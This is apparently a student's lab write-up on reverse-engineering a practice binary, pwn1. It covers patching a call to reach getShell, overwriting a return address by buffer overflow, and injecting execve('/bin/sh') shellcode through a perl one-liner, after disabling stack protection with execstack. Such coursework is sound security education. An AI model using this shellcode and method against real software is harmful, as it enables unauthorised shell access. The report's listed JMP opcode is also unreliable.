20154318王秀飞 Exp1PC平台逆向破解及Bof基础实践

实践目标

实践对象:linux可执行文件pwn1.

正常执行时,main调用foo函数,foo函数会简单回显任何用户输入的字符串。
实践运行代码片段getShell,学习如何注入运行任何Shellcode。

实践内容:

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.注入一个自己制作的shellcode并运行这段shellcode。

这几种思路基本上代表了现实情况中的攻击目标:

运行原本不可访问的代码片段

强行修改程序执行流

注入运行任意代码

一些汇编指令

NOP:空指令,执行后不产生任何结果,但会占用一个指令的时间。机器码:90.

JNE:条件转移指令,当ZF=0,转至标号处执行。机器码:75.

JE:条件转移指令,当ZF=1,转至标号处执行。机器码:74.

JMP:无条件跳转指令,可跳转到内存中任何程序段。机器码:EA.

CMP:比较指令,两数相减以比较大小,而并不保存比较结果。机器码:39.

实验一:直接修改程序机器指令,改变程序执行流程

①下载并解压pwn1,使用命令objdump -d对其进行反汇编:

②可看到三个框中的地址。main中使用call调用到foo,我们的目标就是要将调用的函数换成getShell,计算foo和getShell的地址差值可得,要将红色框中的d7修改为c3.

③使用vi编辑pwn1文件,用:%! xxd将文件转换为16进制查看。用/d7ff搜索,找到了需要修改的地方。

④修改后使用:%! xxd -r把文件转回二进制,用:wq保存并退出。可以查看main中调用函数部分已经由调用foo变成了调用getShell.


实验二:通过构造输入参数造成BOF攻击,改变程序执行流

①要先确认是哪几个字节覆盖了返回地址,于是在调试中运行,输入如下:

②用info r查看各寄存器的值,可以看到eip的值被“1234”部分覆盖了:

③由此,只要把这四个字符替换为getShell的地址即可。反汇编可看到getShell的内存地址是0804847d。

实验三:注入Shellcode并执行

①输入apt-get install execstack下载软件包。(虚拟机需要联网,不能联网就去更改网络设置)

②输入以下命令修改设置。
③并输入命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,
④然后输入攻击命令(cat input_shellcode;cat) | ./5328pwn3.

⑤打开一个新终端,找到进程号4120.
⑥在此终端下使用gdb对5328pwn3进行调试,通过设置断点,来查看注入buf的内存地址。

⑦修改地址后再次攻击,就成功了。

实验心得体会

本次试验由于是第一次实验,做的过程中反反复复出现了多次基础问题需要一遍遍去问同学,导致效率很低。但是最终都克服了,做出了实验。像老师说的,不要怕,努力一点点去做就能有改变!

posted @ 2018-03-18 20:06  20154318王秀飞  阅读(143)  评论(0编辑  收藏